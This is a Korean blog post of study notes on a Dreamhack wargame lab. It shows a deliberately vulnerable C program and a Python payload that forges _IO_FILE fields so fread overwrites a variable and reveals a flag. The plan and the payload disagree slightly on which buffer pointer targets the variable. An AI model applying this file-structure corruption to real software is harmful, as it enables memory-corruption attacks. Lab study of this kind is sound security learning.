_IO_FILE Arbitrary Address Write 본문
https://dreamhack.io/learn/274#1
로그인 | Dreamhack
dreamhack.io
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char account_buf[1024];
int overwrite_me;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_account() {
FILE *fp;
fp = fopen("flag", "r");
fread(account_buf, sizeof(char), sizeof(account_buf), fp);
write(1, account_buf, sizeof(account_buf));
fclose(fp);
}
int main() {
FILE *fp;
char file_buf[1024];
init();
fp = fopen("/etc/issue", "r");
printf("Data: ");
read(0, fp, 300);
fread(file_buf, 1, sizeof(file_buf)-1, fp);
printf("%s", file_buf);
if( overwrite_me == 0xDEADBEEF)
read_account();
fclose(fp);
}
코드 분석
파일을 오픈한 후 read에서 파일 구조체 조작
fread로 fp의 데이터를 file_buf로 읽고 출력한다.
overwrite_me가 0xDEADBEEF일 경우 flag를 출력
exploit 설계
fread에서 참조하는 파일구조체를 조작해
overwrite_me의 값을 0xDEADBEEF로 덮는다.
파일 구조체 조작
_IO_buf_end -> overwrite_me
_IO_buf_base -> overwrite_me + ???
fileno -> 0
tip) *(_IO_buf_base) > *(_IO_buf_end) 조건을 만족해야 한다.
payload = p64(0xfbad2488)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(overwrite_me) # _IO_buf_base
payload += p64(overwrite_me+1024) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) # stdin
p.sendline(payload)
p.sendline(p64(0xDEADBEEF) + "\x00"*1024)
'보안 > 개인공부' 카테고리의 다른 글
LoadLibrary (0) | 2022.02.16 |
---|---|
base64 (0) | 2022.02.13 |
_IO_FILE Arbitrary Address Read (0) | 2022.02.10 |
__environ (0) | 2022.02.09 |
overwrite _rtld_global (0) | 2022.02.07 |
Comments